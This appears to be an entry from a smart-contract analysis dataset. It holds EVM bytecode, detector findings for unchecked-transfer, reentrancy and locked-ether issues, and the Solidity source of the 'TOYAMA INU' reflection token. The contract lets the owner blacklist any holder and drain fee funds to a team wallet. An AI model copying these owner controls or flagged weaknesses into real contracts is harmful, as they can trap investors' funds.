ffffffffffffffff5d576e7357a4501ddfe92f46681b20a08260001c1115611773576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176a90612167565b60405180910390fd5b601b8160ff161415801561178b5750601c8160ff1614155b156117cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117c2906121a7565b60405180910390fd5b6000600187838686604051600081526020016040526040516117f09493929190612047565b6020604051602081039080840390855afa158015611812573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561188e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611885906120a7565b60405180910390fd5b8094505050505092915050565b60006118ae6118a9846122d0565b6122ab565b905080838252602082019050828560208602820111156118cd57600080fd5b60005b858110156118fd57816118e38882611945565b8452602084019350602083019250506001810190506118d0565b5050509392505050565b600061191a611915846122fc565b6122ab565b90508281526020810184848401111561193257600080fd5b61193d848285612422565b509392505050565b600081359050611954816127bd565b92915050565b600082601f83011261196b57600080fd5b813561197b84826020860161189b565b91505092915050565b600081359050611993816127d4565b92915050565b6000815190506119a8816127d4565b92915050565b6000813590506119bd816127eb565b92915050565b60008083601f8401126119d557600080fd5b8235905067ffffffffffffffff8111156119ee57600080fd5b602083019150836001820283011115611a0657600080fd5b9250929050565b600082601f830112611a1e57600080fd5b8135611a2e848260208601611907565b91505092915050565b600081359050611a4681612802565b92915050565b600060208284031215611a5e57600080fd5b6000611a6c84828501611945565b91505092915050565b60008060408385031215611a8857600080fd5b6000611a9685828601611945565b9250506020611aa785828601611a37565b9150509250929050565b600080600080600060808688031215611ac957600080fd5b6000611ad788828901611945565b9550506020611ae888828901611a37565b945050604086013567ffffffffffffffff811115611b0557600080fd5b611b11888289016119c3565b93509350506060611b2488828901611a37565b9150509295509295909350565b600080600060608486031215611b4657600080fd5b6000611b5486828701611945565b9350506020611b6586828701611a37565b9250506040611b7686828701611a37565b9150509250925092565b600060208284031215611b9257600080fd5b600082013567ffffffffffffffff811115611bac57600080fd5b611bb88482850161195a565b91505092915050565b600060208284031215611bd357600080fd5b6000611be184828501611984565b91505092915050565b600060208284031215611bfc57600080fd5b6000611c0a84828501611999565b91505092915050565b600060208284031215611c2557600080fd5b6000611c33848285016119ae565b91505092915050565b60008060408385031215611c4f57600080fd5b6000611c5d858286016119ae565b925050602083013567ffffffffffffffff811115611c7a57600080fd5b611c8685828601611a0d565b9150509250929050565b600060208284031215611ca257600080fd5b6000611cb084828501611a37565b91505092915050565b611cc28161239f565b82525050565b611cd9611cd48261239f565b6124ab565b82525050565b611ce8816123b1565b82525050565b611cf7816123bd565b82525050565b611d0e611d09826123bd565b6124bd565b82525050565b611d1d816123fe565b82525050565b6000611d3060188361232d565b9150611d3b8261255f565b602082019050919050565b6000611d53601f8361232d565b9150611d5e82612588565b602082019050919050565b6000611d76601c8361233e565b9150611d81826125b1565b601c82019050919050565b6000611d9960268361232d565b9150611da4826125da565b604082019050919050565b6000611dbc600e8361232d565b9150611dc782612629565b602082019050919050565b6000611ddf60148361232d565b9150611dea82612652565b602082019050919050565b6000611e02601a8361232d565b9150611e0d8261267b565b602082019050919050565b6000611e2560228361232d565b9150611e30826126a4565b604082019050919050565b6000611e4860108361232d565b9150611e53826126f3565b602082019050919050565b6000611e6b60228361232d565b9150611e768261271c565b604082019050919050565b6000611e8e60208361232d565b9150611e998261276b565b602082019050919050565b6000611eb1601b8361232d565b9150611ebc82612794565b602082019050919050565b611ed0816123e7565b82525050565b611ee7611ee2826123e7565b6124d9565b82525050565b611ef6816123f1565b82525050565b6000611f088286611cc8565b601482019150611f188285611ed6565b602082019150611f288284611ed6565b602082019150819050949350505050565b6000611f4482611d69565b9150611f508284611cfd565b60208201915081905092915050565b6000602082019050611f746000830184611cb9565b92915050565b6000606082019050611f8f6000830186611cb9565b611f9c6020830185611cb9565b611fa96040830184611ec7565b949350505050565b6000604082019050611fc66000830185611cb9565b611fd36020830184611ec7565b9392505050565b6000606082019050611fef6000830186611cb9565b611ffc6020830185611ec7565b6120096040830184611ec7565b949350505050565b60006020820190506120266000830184611cdf565b92915050565b60006020820190506120416000830184611cee565b92915050565b600060808201905061205c6000830187611cee565b6120696020830186611eed565b6120766040830185611cee565b6120836060830184611cee565b95945050505050565b60006020820190506120a16000830184611d14565b92915050565b600060208201905081810360008301526120c081611d23565b9050919050565b600060208201905081810360008301526120e081611d46565b9050919050565b6000602082019050818103600083015261210081611d8c565b9050919050565b6000602082019050818103600083015261212081611daf565b9050919050565b6000602082019050818103600083015261214081611dd2565b9050919050565b6000602082019050818103600083015261216081611df5565b9050919050565b6000602082019050818103600083015261218081611e18565b9050919050565b600060208201905081810360008301526121a081611e3b565b9050919050565b600060208201905081810360008301526121c081611e5e565b9050919050565b600060208201905081810360008301526121e081611e81565b9050919050565b6000602082019050818103600083015261220081611ea4565b9050919050565b600060208201905061221c6000830184611ec7565b92915050565b60006040820190506122376000830185611ec7565b6122446020830184611cb9565b9392505050565b60006060820190506122606000830186611ec7565b61226d6020830185611cb9565b61227a6040830184611ec7565b949350505050565b60006040820190506122976000830185611ec7565b6122a46020830184611ec7565b9392505050565b60006122b56122c6565b90506122c18282612431565b919050565b6000604051905090565b600067ffffffffffffffff8211156122eb576122ea612512565b5b602082029050602081019050919050565b600067ffffffffffffffff82111561231757612316612512565b5b61232082612541565b9050602081019050919050565b600082825260208201905092915050565b600081905092915050565b6000612354826123e7565b915061235f836123e7565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612394576123936124e3565b5b828201905092915050565b60006123aa826123c7565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061240982612410565b9050919050565b600061241b826123c7565b9050919050565b82818337600083830152505050565b61243a82612541565b810181811067ffffffffffffffff8211171561245957612458612512565b5b80604052505050565b600061246d826123e7565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156124a05761249f6124e3565b5b600182019050919050565b60006124b6826124c7565b9050919050565b6000819050919050565b60006124d282612552565b9050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b60008160601b9050919050565b7f45434453413a20696e76616c6964207369676e61747572650000000000000000600082015250565b7f45434453413a20696e76616c6964207369676e6174757265206c656e67746800600082015250565b7f19457468657265756d205369676e6564204d6573736167653a0a333200000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f496e76616c696420616d6f756e74000000000000000000000000000000000000600082015250565b7f20636c61696d3a20756e617574686f72697a6564000000000000000000000000600082015250565b7f636c61696d3a207369676e6174757265206475706c6963617465000000000000600082015250565b7f45434453413a20696e76616c6964207369676e6174757265202773272076616c60008201527f7565000000000000000000000000000000000000000000000000000000000000602082015250565b7f496e636f727265637420706172616d7300000000000000000000000000000000600082015250565b7f45434453413a20696e76616c6964207369676e6174757265202776272076616c60008201527f7565000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f467574757265436f696e3a20436f6e7472616374204c6f636b65640000000000600082015250565b6127c68161239f565b81146127d157600080fd5b50565b6127dd816123b1565b81146127e857600080fd5b50565b6127f4816123bd565b81146127ff57600080fd5b50565b61280b816123e7565b811461281657600080fd5b5056fea2646970667358221220a7890f0c60a6e2af62f0f275ef6e9dd3b8f6331def4066a9afe9bd3271e5db0864736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 8,054 |
0xd2fc19ae0c0f147c00350caf5cf15160adfe3f3f
|
// https://t.me/TOYAMAINU
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract TOYAMA is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = " TOYAMA INU";
string private constant _symbol = " TOYINU ";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 3;
uint256 private _teamFee = 3;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1) {
_teamAddress = addr1;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 3;
_teamFee = 3;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 1000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 6);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612782565b60405180910390f35b34801561015057600080fd5b5061016b6004803603810190610166919061284c565b61045e565b60405161017891906128a7565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a391906128d1565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906128ec565b61048d565b6040516101e091906128a7565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b919061293f565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190612988565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129cf565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f919061293f565b610783565b6040516102b191906128d1565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612a0b565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612782565b60405180910390f35b34801561033357600080fd5b5061034e6004803603810190610349919061284c565b61098d565b60405161035b91906128a7565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612b6e565b6109ab565b005b34801561039957600080fd5b506103a2610ad5565b005b3480156103b057600080fd5b506103b9610b4f565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612bb7565b6110ac565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612be4565b6111f5565b60405161041891906128d1565b60405180910390f35b60606040518060400160405280600b81526020017f20544f59414d4120494e55000000000000000000000000000000000000000000815250905090565b600061047261046b61127c565b8484611284565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a84848461144f565b61055b846104a661127c565b6105568560405180606001604052806028815260200161372660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c61127c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0e9092919063ffffffff16565b611284565b600190509392505050565b61056e61127c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612c70565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066761127c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612c70565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661075261127c565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c72565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cde565b9050919050565b6107dc61127c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612c70565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f20544f59494e5520000000000000000000000000000000000000000000000000815250905090565b60006109a161099a61127c565b848461144f565b6001905092915050565b6109b361127c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612c70565b60405180910390fd5b60005b8151811015610ad1576001600a6000848481518110610a6557610a64612c90565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ac990612cee565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1661127c565b73ffffffffffffffffffffffffffffffffffffffff1614610b3657600080fd5b6000610b4130610783565b9050610b4c81611d4c565b50565b610b5761127c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdb90612c70565b60405180910390fd5b600e60149054906101000a900460ff1615610c34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2b90612d83565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cc430600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611284565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d0a57600080fd5b505afa158015610d1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d429190612db8565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610da457600080fd5b505afa158015610db8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ddc9190612db8565b6040518363ffffffff1660e01b8152600401610df9929190612de5565b602060405180830381600087803b158015610e1357600080fd5b505af1158015610e27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4b9190612db8565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ed430610783565b600080610edf610927565b426040518863ffffffff1660e01b8152600401610f0196959493929190612e53565b6060604051808303818588803b158015610f1a57600080fd5b505af1158015610f2e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f539190612ec9565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff021916908315150217905550683635c9adc5dea00000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611056929190612f1c565b602060405180830381600087803b15801561107057600080fd5b505af1158015611084573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a89190612f5a565b5050565b6110b461127c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611141576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113890612c70565b60405180910390fd5b60008111611184576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117b90612fd3565b60405180910390fd5b6111b360646111a583683635c9adc5dea00000611fd490919063ffffffff16565b61204f90919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f546040516111ea91906128d1565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112eb90613065565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611364576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135b906130f7565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161144291906128d1565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b690613189565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561152f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115269061321b565b60405180910390fd5b60008111611572576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611569906132ad565b60405180910390fd5b61157a610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115e857506115b8610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b4b57600e60179054906101000a900460ff161561181b573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561166a57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116c45750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561171e5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561181a57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661176461127c565b73fffffffffffffff